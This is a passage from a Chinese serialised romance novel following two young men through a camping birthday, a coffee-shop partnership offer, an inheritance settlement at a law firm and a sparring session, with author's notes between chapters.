“走,”邹飏拿过自己的T恤套上了,“去帮我们瑞瑞找鞋。” 眼镜从T恤里掉了出来。 “我靠,”邹飏喊了一声,捡起了眼镜,“我眼镜在这儿呢?” “狗还叼你眼镜了?”刘文瑞在外头问。 “狗就叼你鞋了。”邹飏说。 刘文瑞叹了口气,在外面发出了嘬嘬嘬的声音。 “嘬鞋呢?”张传龙出了帐篷。 “嘬你呢你睡醒了没!”刘文瑞说。 “没压坏吧?”樊均凑过来看了看他眼镜。 不能说压坏了,但也不是没坏。 眼镜腿儿它歪了。 邹飏试着强行戴了一下,镜框一高一低。 “我帮你弄一下。”樊均摘掉了眼镜,低头开始研究。 “把左边那个腿儿掰一下就行,凑合能撑到回去我就在学校旁边重新……”邹飏说到一半发现樊均左手拇指上有一小块血痕。 他没戴眼镜也看不清,于是凑了过去。 樊均迅速往后蹭着退开了。 “怎么弄的?”邹飏一把抓住他的手,他对樊均左手上的任何伤都很紧张,“锤子砸的吗?” “不是。”樊均跟他犟着劲儿。 樊均左胳膊恢复得不错,这会儿邹飏两下都没拽动,只能抓着他手腕把自己拽了过去,凑近了又看了看,确定是个新鲜的血眼子。 他突然有些犹豫了,看着樊均。 樊均也看着他,过了一会儿才低声说:“你咬的。” “我怎么咬的?”邹飏没明白。 樊均清了清嗓子,慢慢伸手,拇指在他嘴唇上轻轻抚过。 邹飏脑子里猛地有画面闪回,顿时觉得耳朵都快烧起来了。 “靠,”他拍开樊均的手,“那你怎么不用右手,左手让我咬伤了怎么办!” “右手在忙。”樊均说。 邹飏感觉自己起码有两秒钟是空白的。 “我去帮刘文瑞找鞋。”他迅速掀开帐篷钻了出去。 刘文瑞的鞋是在昨天他们过河的那块板子附近找到的,三只看着还未成年的犯罪嫌疑狗正在旁边吃着包子。 估计就是烧烤场老板家的狗。 “没跑了,就是它们,”刘文瑞捡起鞋看了看,鞋面儿上有几个小坑,他一边往回走一边又看了看小狗们正吃着的包子,“这包子不会也是从咱们那儿叼的吧?” “大哥,昨天我们这帮狗把包子都吃光了啊。”邹飏说。 “不不不,是我们三个狗和你们这对儿臭不要脸的玩意儿吃光的。”刘文瑞说。 邹飏一听这话顿时有些心虚,盯着刘文瑞:“什么意思?” “什么什么意思,”刘文瑞也盯着他,“你俩当着十几二十个人的面儿亲嘴儿,说你一句你还质疑上了?” “……哦。”邹飏顿时松了口气。 回到帐篷的时候,天开始有点儿亮了。 李知越踩着刘文瑞那只孤单的鞋正跟樊均一块儿蹲在桌子旁边调着投影仪。 “怎么?”邹飏问了一句。 “流程没进行完呢。”李知越说,“昨天本来想等你俩回来继续的,结果你喝成那样……” 邹飏想起来他们让樊均带了投影仪过来是为了看刘文瑞剪的视频。 “现在还能看吗?天都开始亮了。”邹飏蹲了过去。 “这投影仪牛逼,昨天我拿着就觉得死沉的,”李知越说,“这个流明高,再亮点儿都看得清。” “我靠,”刘文瑞坐在旁边椅子上一边换鞋一边啧啧着,“樊均你自己在家看个电影弄个这么好的?这得好几千吧?” “嗯,”樊均笑了笑,把眼镜递给了邹飏,“我以前……也没什么消遣,就看看电影,这个看着舒服。” 邹飏接过眼镜的时候,下意识又看了一眼樊均的左手拇指。 樊均没说话,抬手用拇指关节在嘴角轻轻蹭了一下。 邹飏先是一愣,接着猛地转开了头,顿了顿又转回头用口型骂了一句。 你大爷! 樊均笑了起来。 投影仪已经弄好,张传龙也跑到对岸把大家的早餐拿了过来,几个人往桌子旁边一坐,边吃早餐边看着投在帐篷上的视频。 一阵一听就是交了钱的音乐声响起,一个手机文件夹由小变大出现在屏幕上,樊&邹,接着出现一个标题,我们。 刘文瑞居然还剪了个片头。 邹飏伸手在刘文瑞肩膀上抓了抓。 “都兄弟。”刘文瑞点点头。 邹飏又转头看了樊均一眼,樊均没有跟他对视,手指撑着额角,正专注地盯着屏幕。 一开始都是照片,从他们在蓉蓉那儿拍的照片开始,一张张的照片从屏幕上以各种形式翻过掠过滑过滚过。 游乐园的,吃东西的,有他的,也有邹飏的,大多都是邹飏拍的他,很多他都没什么印象了。 当去年他生日的照片开始出现时,樊均的眼睛开始有些模糊。 几张照片过后,是一段视频,大家唱着生日快乐的歌,跳动着的蜡烛上的火苗烧得他眼角发烫。 一年前的今天,他和邹飏的心情都很复杂,有开心,有意外,有酸涩,有痛疼…… 接着的照片轮换的速度开始变快,看到邹飏在病床上躺着的照片时,他闭了闭眼,好在很快,又是一段视频。 那个火焰冰淇淋。 有眼泪滑下来,樊均很快地低头用袖子蹭了一下眼角。 这之后的照片变得多了起来,樊均眼前一片模糊,已经完全看不清屏幕。 只知道最后是一段视频,邹飏在宿舍给他写生日礼物的视频。 反复地写,不断地废稿。 接着是装裱,一道道工序,他从模糊的视线里能看到邹飏专注地低着头的样子…… 最后终于完工,镜头对准了邹飏,慢慢推近。 坐在他旁边的邹飏突然凑到他耳边,跟着视频里的自己同时说了一句。 “樊均,生日快乐。” 作者有话说: 他俩就是手动哈,没那什么[让我康康]。 第104章 视频不算长,不到二十分钟。 但樊均却在这二十分钟不到的时间,把这一年又过了一遍。 以邹飏世界的视角。 看着邹飏世界里的自己,看着邹飏世界里这一年的经历,看到那些他从不曾经历过的细节和情绪,一点一滴。 视频放完之后,几个人都没有说话,也没有动。 樊均脸上一直有细细的痒,眼泪不断从眼角滑落,他没有再抬手去擦,任由泪水涌出滴落。 这一刻他不再是那个别人眼里永远办事稳当情绪不外露的樊均。 他是全世界最需要邹飏的那个樊均。 邹飏的手指轻轻在他下巴颏上勾了勾,蹭掉了几颗泪珠。 接着起身站到樊均身前,揉了揉他的脑袋。 樊均搂住他的腰,把脸压到他肚子上。 眼泪很快浸透了T恤,邹飏能感觉到肚子上一片带着温度的湿润,还有樊均身体微微的颤抖。 刚才还想要维持自己樊教练形象的樊均,这会儿放弃了形象,搂着他哭得像个脆弱的小孩儿。 邹飏没说话,低头樊均背上轻轻拍着,手指勾着他头顶的一绺头发慢慢转着。 刘文瑞抽了张纸巾,按在眼睛,轻轻地叹出一口气,听着很感慨。 李知越也抽了张纸巾,在脸上一下下擦着。 张传龙一直没动,应该是没哭,只是盯着屏幕出神。 邹飏本来以为自己会在这个环节再哭一鼻子,但不知道为什么,他没有哭。 心里有很多情绪在翻涌,但他没有哭。 只是感慨。 非常感慨。 为自己,也为几乎从未在人前有过什么强烈情绪表达的樊均,此时此刻颤抖着的樊均。 樊均哭得很厉害,当着他觉得是小孩儿的邹飏和他的同学的面儿,哭得完全没有掩饰。 对岸露营的人吃完早餐回来了,陆续有人开始收拾,有些大概是要回去,有些应该是要去下一个目的地。 这边他们几个如同定格了一样的场景,那边没有太多关注,只是忙着自己手边的事儿,最后陆续离开时,有个大哥冲他们这边挥了挥手。 邹飏也抬手挥了挥。 看着对岸离去的人,他突然有些说不清的感觉。 人这一辈子会碰到多少人。 人生里会有多少人路过。 他们从你的余光里走过,从你身边擦肩而过,偶尔你会听到他们的声音,偶尔你的视线会扫过他们的脸,却不曾记住任何一个…… 或者有些人,一句,两句,交谈或争执,或者有些人,你会知道他们叫什么,你会知道他们在那里,但永远不会有交集…… 但有一些人,在这样无数的擦肩而过里留在了身边。 他们是朋友,是至交。 也会有一个人,在这样无数的擦肩而过里,像一个奇迹,成为你生命里不能缺少的那一部分。 是恋人,是男朋友。 他低头看着樊均的头发旋儿。 此时一位一直沉默着不动不语的好朋友张传龙抽了张纸巾,在四周已经没人了的郊野里,伴着潺潺河水,低头擤了一下鼻涕。 “靠,”刘文瑞骂了一句,“吓我一跳!” “你这什么破胆儿,”张传龙红着眼睛,又擤了一下,“练练吧。” 邹飏能感觉到樊均先是顿了顿,接着脸捂在他肚子上笑了起来。 “靠。”他笑着回手抽了两张纸巾,塞到了樊均手里。 樊均接住纸巾,松了手,低头把脸埋在纸巾里,深深舒出一口气,然后擦了擦脸。 抬起头时,眼眶和鼻尖都是红的,脸上的小疤们也是红的,邹飏忍不住伸手摸了摸他的脸。 “收拾吧,”樊均声音有点儿哑,“回去还得一个多小时呢。” “嗯。”邹飏点点头。 樊均拿着纸在他T恤上擦了擦:“湿透了,你还带了别的衣服吗?” “一会儿吹吹风就干了。”邹飏在他头发上揉了揉。 收拾好东西,一帮人拖着车从老板搭好的那块木板上回到了停车场。 去还帐篷的时候,因为邹飏和樊均那个帐篷被压断了一根支撑的杆子,赔了老板二十块钱。 返程的时候还是樊均开车,几个人上了车之后就开始睡觉,邹飏看着他们睡觉这个劲儿,老有些心虚,觉得这帮人是不是一晚都没睡光听墙角了。 车开到商贸城,樊均下了车,换邹飏开回学校。 “到学校给我发个消息。”樊均扒着车窗小声说。 “嗯。”邹飏点点头,“礼物都拿好了吗?他们给你的那个也一块儿拿着了吧?” “都在袋子里了。”樊均晃了晃手里的两个袋子。 “嗯。”邹飏应了一声。 “走吧。”樊均又看了看后座几个装睡的人,说了一句,“谢谢大家了。” 虽然很想旷课,但邹飏还是咬牙挺住了,在樊均转身走了之后,他咬牙切齿地关上车窗,系好安全带。 刘文瑞从后座换到副驾之后他发动了车子,往学校的方向开去。 “哎——”刘文瑞拉长声音叹了口气。 “怎么了。”邹飏瞟了他一眼。 “就感慨一下,”刘文瑞说,“这生日过得我感慨万千的。” “主要他俩吧,”张传龙在后头也很感慨,“太不容易了,多少人在前面那段日子里就走散了啊。” “是啊……”刘文瑞和李知越同时说了一句。 “差不多得了啊,”邹飏说,“都不是第一天认识的人,这么肉麻是想绝交吗?” “那我说句不肉麻的,”刘文瑞啧了一声,“你脖子上樊均啃的那个印子,一会儿拿个创口贴挡一下,我怕有人看到了问。” “什……”邹飏感觉自己脑袋瞬间着了火。 “什什么什,”刘文瑞说,“你挠个痒痒都留一片红的人,你不知道有多明显吗?” “……知道了。”邹飏说。 “其实也还好,吻痕嘛,”张传龙说,“起码证明他脱单了,他是我们宿舍的骄傲。” “你可别骄傲了,”刘文瑞说,“人隔壁几个宿舍,快的大一慢的大二,都谈着了,就我们宿舍跟什么火种保存单位一样……还骄傲呢,怕人不知道还有三个单着的吗?” 李知越笑得说不出话,还呛得咳了半天。 “多大怨气啊。”张传龙说。 【邹yang】我到学校了,准备上课 【樊】那个视频,发我一个吧 【邹yang】还要看一遍吗 【樊】想留着纪念 邹飏把视频发给了樊均。 【樊】今天过来吗 【邹yang】过 【樊】接你? 【邹yang】我车在学校,骑过去就行 “也差不多该有动静了,”何川看着桌上的小台历,“按理说,赔偿那些,连诉讼带执行,两三个月都能处理完了。” “嗯。”樊均应了一声。 “昨天跟咖啡店那个李老板又聊了一会儿,”何川泡着茶,“这周就把店转给我了。” “又撑了这么久,生意也没点儿起色吗?”樊均问。 “我跟你说,生意就是这样的,没有干熬能熬得好的生意,”何川摆摆手,又看着他,“怎么样,你有没有点儿什么想法?” “嗯?”樊均看着他。 “是不是打算投点儿钱跟我合伙?”何川问。 樊均没说话。 “那天我说要借钱的时候,你是不是就有这想法了啊?”何川笑了,“咱们什么交情,我也不跟你绕。” “要投多少?”樊均问。 “看你,”何川说,“但这事儿吧,我也得先问你个问题。” “问。”樊均说。 “你跟邹飏,”何川看着他,“不是普通朋友吧?就,不是铁哥们儿至交好友,是……更那什么些的……” “嗯。”樊均应了一声。 “那就行,”何川点点头,“你想投多少看你自己情况,十万二十万都行,有更多的当然更好。” “你是想用我拉着邹飏吧?”樊均问。 “那肯定有这个考虑,”何川说,“你俩关系近,我这生意相当于又扩展了一块儿呢,不是要坑你们,就是单纯从赚钱上考虑。” 樊均没说话。 “你考虑一下,”何川说,“不着急,你有什么顾虑就跟我说,你就记着一点。” 何川竖起食指,看着他。 “哪点?”樊均问。 “就冲你当初拿着几千块工资敢下车跟那几个人硬扛,”何川说,“我何川!无论什么时候都不会坑你。” 何川这话说得很澎湃,把他自己感动得居然眼眶里都闪着光了。 “……这个我信你。”樊均说。 “所以你考虑考虑,要不放心,就跟邹飏也商量一下,”何川说,“他大学生,脑子也好使。” 今天晚上樊均休息,邹飏下了课到店里找他,他俩在小区旁边随便吃了个拌饭,带着小白遛达了两圈就回了。 一进门,大黑已经站在了鞋柜上,一看到邹飏就往他胳膊上蹭着。 邹飏摸了摸大黑的脑袋,鞋还没换,一眼先看到了客厅桌子正上方的墙上,挂着两条卷轴。 情不知所起,一往情深,生者可以死,死可以生。 愿为西南风,长逝入君怀。 “你……”邹飏愣住了,“怎么还给挂墙上了?” “都裱好了不挂吗?”樊均说着又指了指沙发那边的墙,“那个镜框挂那儿了。” 邹飏转头,看到沙发上方挂着的是个长条镜框,里面是他最后用一部分废稿裁碎了拼成的画。 这个还行,起码看不出来具体是什么内容。 “那个……”邹飏问。 “在卧室了。”樊均说。 “哦,”邹飏松了口气,换了鞋想想又忍不住问了一句,“非得挂起来吗?” “嗯,”樊均点头,“非挂不可。” “行吧。”邹飏笑了笑,走到桌子面前看着墙上的字。 “我很喜欢你的这些小画。”樊均指着画在字最后的小画。 一张画的是小白,一张画的是大黑。 都跟一个字差不多大,其实很好画,几笔勾一下,神态出来了就行。 “你挺厉害的,这样随便画几笔都能看出来大黑是白猫。”樊均说。 “那是。”邹飏往沙发上一倒,摊开胳膊。 “我有个事儿,”樊均走到沙发前,坐在了地毯上,“想跟你商量一下。” “说。”邹飏伸手在他脸上勾了勾。 “之前何川想盘的那个咖啡店,那边同意转给他了,”樊均说,“他问我愿不愿意跟他合伙。” “你要出多少钱?”邹飏问。 “多少钱都行,”樊均看了他一眼,“他主要是想……拉着点儿你这个关系。” 邹飏没说话,枕着胳膊想了一会儿才开口:“你自己的想法呢?不考虑他想拉着点儿关系这事儿的话。” “那天他去谈的时候,说钱不够……我就有点儿想……”樊均说。 “那就做。”邹飏没等他说完。 樊均看着他:“但那会儿我跟他说,他未必会同意,现在会来找我是因为想……” “不用管这些,”邹飏说,“你觉得可以跟他合伙,能做,他来找你了,就做,不用管别的,关系拉不拉的,主动权在你这儿,明白吗?” “嗯。”樊均应了一声。 “你犹豫的点在哪儿?”邹飏问。 “就……感觉像是拿你当砝码。”樊均低声说。 “他是不是看出咱俩关系不是朋友了?”邹飏问。 “这个……很难看不出来吧。”樊均说。 “那咱俩这关系,很多事就是会被捆在一块儿的,没法分开算的。”邹飏说。 “嗯。”樊均伸手在他脸上轻轻捏了一下。 “你打算拿多少跟他合伙?”邹飏问。 樊均想了想:“我手头攒了十多万,我打算……” “我操,”邹飏支起脑袋看着他,“樊均,你挺能攒钱啊?” “我高中毕业就开始工作了啊,有两年生意特别好,学员多,收入也高,”樊均笑了笑,“而且我平时没什么花销,吕叔也不收我伙食费什么的。” “别都拿了,十万就行,”邹飏说,“不够我给你凑点儿。” “不用,”樊均说,“万一赔……” “哎!”邹飏立马指着他,“别瞎说啊!快呸!” “呸呸呸。”樊均说。 “那你就拿你的钱跟他合伙,”邹飏也没坚持,“如果做得顺,后面可以再追加。” “嗯。”樊均仰头往后枕在他腿上,“邹飏。” “嗯?”邹飏应着。 “有你真好啊,”樊均说,“特别踏实。” “所以有什么事儿就得跟我说,我虽然不能帮你解决什么,但是我正理歪理一堆,”邹飏晃晃腿,“还可以不讲理。” 樊均笑了起来。 邹飏扔在鞋柜上的手机响了,小白跑过去一口叼起了手机跑了过来。 “哎,白啊,”邹飏接过手机,往樊均肩上蹭了蹭小白的口水,“你是不是应该去上个学……” “往哪儿擦呢?”樊均扯着自己T恤看了看。 “是曹律师……”邹飏说着接起了电话,“曹律师您好。” “邹飏你好,这个时间打扰你不好意思了,”曹律师说话还是很干脆直接,“现在就您父亲邹砚清遗产分割事宜进行通知……” 邹飏没说话,静静地听着。 赔偿案已经执行完了,现在邹天瑞那边约他在律所见面,分割剩下的财产。 挂掉电话之后邹飏躺回沙发上,闭上眼睛长长地叹了一口气。 “要去谈分割了吗?”樊均问。 “嗯,”邹飏皱皱眉,“明天下午三点,烦得很。” “有课吗?”樊均问。 “没有,有也得请假,”邹飏打了个呵欠,“赶紧折腾完了也好,我能踏实过我自己的生活了。” “还让宿舍的人陪你吗?”樊均问。 “不让他们去他们也会去的,这种事儿隔壁宿舍他们都能凑过去看热闹,”邹飏笑笑,“你得陪我去。” “嗯。”樊均点头,“还会动手吗?” “曹律师已经请求警察到场协助维持秩序了,”邹飏说,“这次应该不会有太大乱子,都到这时候了,闹也没用了……” “其实也用不着警察叔叔过来,”刘文瑞坐在后座,“咱们几个往哪儿一杵,要还是那天那些人,看到我们都不会再轻易动手。” “不是看到樊均吗?”李知越说。 “知越哥哥,”刘文瑞说,“有些话不用说得那么明白,自己心里清楚就行,说出来伤感情的。” “知道了。”李知越笑了起来。 今天不是周末,停车场全是车,樊均转了一圈才找着一个停车位。 几个人下了车立马往四周瞄了一圈,没看到什么人。 邹飏打电话给律师前台通知了一下,顺便问了问大姑他们有没有来,前台说没有见到可疑的人。 “走吧,没人。”邹飏说。 “他们没来?”刘文瑞说,“那会不会显得我们是来闹事的?” “不会,”樊均说,“保镖。” “对!”张传龙立马走到了邹飏前头。 “……踩你鞋啊。”邹飏说。 他们时间卡得很准,一进律所,邹飏就被带进了会议室。 邹天瑞和她小姨已经到了,正在等着。 听到他进来,邹天瑞转头看了他一眼,他点了点头,在邹天瑞对面坐下了。 两个多月没见,邹天瑞瘦了一大圈,不过这回见着,精神状态倒是比之前好一些了。 “开始吧。”邹飏说。 第105章 樊均坐在前台接待区的沙发上,看着墙上的钟,一下下转着手机。 转了十分钟,旁边坐着的刘文瑞有点儿受不了了,转头看着他:“樊哥。” “嗯。”樊均应了一声。 “你手机快晕车了。”刘文瑞说。 樊均笑了笑,停下了,正准备把手机放回兜里的时候,手机震了起来,是何川的电话。 “我出去接个电话,”他站起来,一边接起电话一边推开门走了出去,“喂?” “完事了吗?”何川问。 “你比继承人着急啊,”樊均往走廊尽头的窗户走过去,“哪有那么快。” “我不是着急这个,”何川说,“我是跟你说一声,我现在要出去,咖啡店那边儿不是有几个地方要拆了重新弄嘛,工人已经到了,我让他们先干着了,你回来的时候过去看一眼。” “好,”樊均应了一声,“川与陆那边儿谁在?没人了吗?” “何陆一会儿过去。”何川说。 “要不要……再请个人?”樊均问。 “先叫何陆过来顶着,”何川说,“商业店那俩店都请了人,不用她一直守着。” “不是,”樊均有点儿无语,“你们现在五个店……” “她那个神婆店是她自己的跟我没关系啊。”何川马上纠正。 “行吧,你们现在四个店,”樊均说,“有两个店是零员工,稍微谁往外跑了或者谁休息了,就不够人手……” “我们几个拉拉扯扯暂时够用,该省的地方就得省,”何川说,“反正真正大生意都直接找我了,跑不掉。” “嗯。”樊均应了一声,没再跟他争,何川毕竟干了这么多年,这几个店也都没干倒闭……说明他也是有一定正确性的。 打完电话回到前台继续等,刘文瑞在这几分钟时间里已经仰着个头在沙发上睡着了。 樊均坐下时他才又猛地惊醒:“嗯!” “睡你的吧。”樊均说。 “没事儿,我反正天天都这个半梦半醒的状态。”刘文瑞打了个呵欠。 “你们是不是下学期要实习了?”樊均问。 “嗯,我们学校分批次,开学有一次,明年三月还有一次,”刘文瑞说,“我们几个都打算申请九月这批。” “哦。”樊均应了一声。 “邹飏没跟你说吗?”刘文瑞问。 “说了。”樊均说。 “说了你还问我?”刘文瑞瞪着他。 “坐在这儿总得有点儿话说啊。”樊均说。 “咱们这么熟的关系了,”刘文瑞笑了起来,“还需要没话找话吗?” “闲着也是闲着。”樊均说。 “樊哥你是不是有什么事儿想问我?”刘文瑞看着他突然问了一句。 樊均看了他一眼没说话。 “可以问问试试,不过我肯定不会是什么话都说的,”刘文瑞说,“我还是站在邹飏这边儿的。” 樊均偏开头笑了笑。 “问吧。”刘文瑞一拍腿。 “之前邹飏……”樊均想了想,转回头,“在宿舍睡觉的时候……” “啊?”刘文瑞眼睛一下瞪圆了,脸上的表情开始尴尬。 “你干嘛?”樊均问。 “……没,”刘文瑞说,“我跟他我俩隔壁床。” “他睡觉半夜还会惊醒吗?”樊均问。 “哦,”刘文瑞松了口气,“我听知越说……” 他往一直坐在那头跟张传龙玩游戏的李知越招了招手:“李知越。” “哎……”樊均伸手想拦,但没来得及。 “嗯?”李知越已经抬了头,接着就凑了过来。 “你是不是说邹飏最近没怎么半夜醒了?”刘文瑞问。 “嗯,以前一星期总得有个一两次吧,”李知越说,“我瞌睡浅,有点儿动静就醒,他放假前那两周在宿舍好像就没怎么醒。” “怎么了?”刘文瑞又转头问樊均。 “没……怎么。”樊均被他俩这么盯着,有点儿尴尬,本来只想找刘文瑞私下问问……还好张传龙还在那边儿玩着游戏,没一块儿凑过来。 “他有什么不对劲吗?”刘文瑞又问。 “不是,”樊均叹了口气,“就是我最近忙,晚上睡得死,不知道他的情况,他又挺长时间没去看心理医生了。” “这样啊,”刘文瑞往椅子上一靠,“那他应该还是好一些了的,时间长了那些事儿也会谈一点儿的。” “嗯。”樊均点了点头。 不知道等了多长时间,刘文瑞仰着个脑袋睡醒第三次的时候,会议室的门打开了。 他第一时间蹦了起来。 邹天瑞和她小姨从里面走了出来。 刘文瑞又坐下了,以一种非常悠闲的姿势靠着,张开胳膊架在沙发靠背上。 邹天瑞走过他们几个面前的时候转头往他们这边看了一眼。 “慢走。”刘文瑞靠在沙发里说了一句。 “嗯。”邹天瑞转身推开门走了出去。 人一走出去,刘文瑞立马又蹦了起来:“邹飏呢?” 那边会议室的门又关上了。 “可能还有别的事儿。”李知越说。 “要不要过去问问?”张传龙问。 “别添乱你俩,坐着。”李知越说。 樊均一直没有说话,眼睛盯着会议室的门。 又过了差不多二十分钟,眼睛都盯酸了,门终于再次打开。 樊均站了起来,看到邹飏脸上带着些疲惫地从会议室里走了出来。 “完事了?”他问了一句。 “嗯,”邹飏应了一声,轻轻舒出一口气,“走吧。” “顺利吗?”刘文瑞跟在他身后问,“他们有没有使坏?” “都顺利,后面还有一堆事儿,我都委托曹律师去代办了,”邹飏把胳膊往樊均肩上一搭,半个人都挂到了他身上往前走着,“什么过户,更名,这个那个的一堆……还有一堆证券基金的,我听都听困了……” “那最后遗产分好了吗?”张传龙问。 这帮人也不懂各种手续,只想知道东西分得怎么样,有没有吃亏。 “嗯。”邹飏脑袋一歪,枕在了樊均肩上,“东西也没多少了,这些年,我大姑他们从我爸这儿弄了不少……” “我操,难怪!”张传龙喊了起来,“所以之前那么理直气壮还想来分东西,这是要习惯了啊!” “大概吧。”邹飏说。 樊均搂住邹飏的腰,按下电梯,听着他在自己耳朵边声音不高地咩咩着。 邹天瑞想要本来分给她妈的那套别墅,因为那套别墅是她和她妈一块儿去挑的,所以她把小公寓给了邹飏作为交换。 还有银行保险柜里那些珠宝,不少都是刘巧用过的,她想留着,所以现在住的那套老房子也给了邹飏…… “房子她除了那个别墅全不要呗,”刘文瑞说,“那些珠宝什么的……那么值钱吗?” “她就是单纯不愿意要那套房子。”邹飏说。 “毕竟是你们以前住了十几年的房子。”李知越说。 “嗯。”邹飏站直了,但还是靠在樊均身上。 “气性挺大。”张传龙啧了一声。 “那房子你怎么处理?”刘文瑞问。 “回去问问我妈,”邹飏说,“不要就卖了给她买套新的。” 老妈摆摆手:“不要,我们不要。” “那就卖掉。”邹飏坐在厨房餐桌旁边,看着老妈,“反正你们不是年底……要结婚么。” “卖了钱你留着,这几个房子都是你的,要卖要住你来处置,妈不要这些钱,”老妈说,“我和老吕正在看房子了,钱够的,我俩也住不了多大。” 邹飏轻轻叹了口气,没说话。 “你给你妈存点儿养老钱,”吕叔在一边说,“买点儿保险什么的,以后也有个保障。” “嗯。”邹飏应了一声。 “不用!别乱花钱,”老妈皱着眉,“你……” “哎,”吕叔打断了她的话,“你不要管那么多,孩子愿意给你花钱,愿意想着你就行了,你不要啰嗦这么多……” “小飏啊,”老妈突然回过神,走到他身边坐下了,“妈不是那个意思啊,妈是担心你,马上要毕业了嘛,就是……” “我知道,”邹飏拍拍老妈的手,“我知道。” 老妈转头瞪了吕叔一眼:“所以你不要瞎说!” “好,我不瞎说。”吕叔说。 “你刚瞎说完!”老妈说。 “我下次注意。”吕叔笑着说。 “对了,”老妈拉过邹飏的手也拍了拍,“明天你去烧个香。” “啊?”邹飏愣了。 “去祈个福,”老妈说,“这些事儿都过去了,后面顺顺利利的,毕业啊,找工作啊,都顺利。” “菩萨还能一次性管那么久吗?”邹飏说。 “求个心安嘛!”老妈啧了一声。 “好。”邹飏笑笑。 跟老妈又聊了一会儿,邹飏走出厨房,进了旧馆的训练区。 樊均正看着猴儿跟另一个半大小孩儿训练。 邹飏在他身后站着,没马上过去。 看了差不多五分钟,他才走到了樊均身后:“樊教练。” “嗯?”樊均转过头,“你什么时候进来的?” “进来半天了。”邹飏说。 “怎么不叫我?”樊均笑着问。 “看你呢,”邹飏说,“你现在背后不长眼睛了啊,站半天了都没感觉到。” “现在……警惕性没那么强了。”樊均下意识地抬手想往他脸上摸,抬到一半又赶紧放下了,问了一句,“怎么样,跟珊姐聊完了?” “嗯,”邹飏点点头,“明天我去烧个香。” “我陪你去。”樊均说。 “今天请假,明天又请假?”邹飏问。 “早上晚点儿过去而已,不是周末,平时店里也没那么多人。”樊均说。 “行。”邹飏笑笑。 “那……”樊均转头看了一眼猴儿那边。 “樊教练。”邹飏慢慢退了两步,看着他,“约个课。” “什么?”樊均愣了,转过身看着他。 “约课,现在。”邹飏说。 樊均扫了一下他身上的衣服:“……行。” 旧馆今天没什么人,几个小不点儿,猴儿带着练就行。 樊均给邹飏找了护具和他的一副旧拳套。 “今天练什么?”邹飏看着如此全面的防护装备问了一句。 “对战,”樊均往训练区走,回头看了他一眼,“你不是想挨揍么?” “操。”邹飏笑了起来,跟上他,“要揍我?” “看你了。”樊均说。 “行,我看你能把我揍成什么样。”邹飏啧了一声。 当胸一脚。 樊均左手力量并没有完全恢复,这一年以来也没有系统训练。 但这一脚的速度和力量都证明了,他还有十几年训练的底子。 邹飏没来得及退开,往后飞出去躺在了地上。 “我操。”他看着训练馆的天花板。 樊均走到他身边,伸出手:“爽吗?” “爽。”邹飏伸手。 樊均抓住他的手腕,把他拉起来的时候往身后带了一下。 这次邹飏注意力高度集中,这一下的力量绝对不是单纯地把他拉起来而已。 在樊均松开手的瞬间,他和樊均同时做了个侧身的动作,躲开了樊均紧跟着的一脚正蹬,顺着劲转身滑步,对着樊均回了一个侧踹。 结结实实踢在了樊均左手举着的手靶上,嘭的一声。 “可以啊。”樊均说。 “你以为呢。”邹飏挑了挑眉。 没等眉毛回到原位,樊均垫步压了上来,对着他胸口又是一脚。 邹飏再次被踹飞倒地。 “樊均你大爷,”他躺在地上,“还带偷袭的!” “谁偷袭了?”樊均走了过来,低头看着他,“你踢倒我了吗?” “没。”邹飏说。 “我叫停了吗?”樊均又问。 “没。”邹飏说。 “继续吗?”樊均勾了勾嘴角。 “谁上课就十分钟。”邹飏说。 “那起来。”樊均偏了偏头,没伸手拉他,只是退开了两步。 邹飏坐起来,用拳套往鼻梁刮了一下,眼镜被扒拉了到了鼻尖上,接着又一甩头,把眼镜甩到了旁边的垫子上。 “放好。”樊均说。 “我怎么放?”邹飏举起拳套晃了晃。 樊均没说话。 “樊教练,”邹飏看着他,“帮我把眼镜放一下。” 樊均走过去拿起他的眼镜,放到了旁边的架子上。 “继续,”樊均拍了拍手靶,“你进攻。” 邹飏起身,原地跳了两下。 “飏哥多出右拳,”猴儿不知道什么时候凑过来了,“他左手力量还不够。” “你休息了?”樊均看了猴儿一眼。 “休息五分钟呗,我看看你们打。”猴儿说。 “跟谁要的这五分钟休息时间?”樊均问。 猴儿憋了半天,最后一扭头:“跟我祖宗要的行了吧,我走走走走走……” “你不是走,”樊均说,“你是接着练。” “知道了——”猴儿扭了两下,往那个半大小孩儿屁股上踢了一脚,“走,练去。” 樊均转回来看着邹飏,抬了抬下巴:“来。” 邹飏没有停顿,垫步上去,右手跟着就是一拳,狠狠砸在了樊均左手的手靶上,接着的左手直拳之后又是一个右手摆拳,再次砸在樊均左手手靶上。 这几拳逼得樊均一直后退,邹飏感觉非常爽。 很久没有体会过这种纯力量上发泄的爽感了。 不过几拳过后他脚下步伐就有点儿乱。 正想调整的时候,樊均没给他这个机会,趁着他逼近,一个提膝砸在了他肚子上,邹飏没来得及反应就被紧接其后的肘击砸得扑在了地上。 “啊……”邹飏翻了个身再次躺平。 “起来。”樊均说。 “累了。”邹飏说。 “谁上课就十五分钟啊?”樊均说。 “我要休息。”邹飏说。 “我说了算。”樊均伸手。 “哎……”邹飏抬起手。 在樊均抓着他手腕往上拉的时候,他猛地收腿往地上蹬了一脚,对着樊均又抡了一拳。 这一拳有点儿不讲理了,但刚樊均拉他起来先不讲理的…… 不过这拳抡空了。 他被樊均扔回了地上。 扔得还挺用劲,嘭的一声。 “核心挺强啊。”樊均看着他。 “你大爷。”再次躺回地上的邹飏忍不住笑了起来。 这节课上了也就半小时,以邹飏这一年疏于锻炼体力不支结束。 来回被踹倒的情况下,体力也很难支得了…… “休息吧,一会儿吃饭了。”樊均放下手靶。 邹飏一边往更衣室走一边摘拳套:“你来。” “嗯?”樊均坐在跳箱上看着他。 “来。”邹飏进了更衣室。 “哪儿伤了吗?”樊均起身跟了过去。 刚走进更衣室,邹飏把手上的拳套一甩,转身抓住了他胳膊,把他往墙边猛地一推。 “邹飏。”樊均撞到墙上立马反应过来,迅速往门外看了一眼。 邹飏没管那么多,直接扑过去吻住了他,手摸进他衣服里,在他背上狠狠抓了两把。 作者有话说: 说一下哈,昨天那个见了鬼的快折腾死我了的遗产啊赔偿啊相关的内容,有个错误,就是赔偿执行完毕没有那么快,在我眼睛都快看瞎了的一轮重新研究之后,最快的流程也得四五个月,前提是——遗嘱宣读阶段助理已经提起赔偿诉讼,遗产及刘巧财产被冻结,并且不需要拍卖的固定资产的情况下,设定四个月左右差不多。 总之就是没可能三个月不到就执行完毕。 所以遗产分割这个时间起码就得是暑假快结束的时候了,这一章也就从这里开始。 第106章 “疯了吧你。”樊均压着声音。 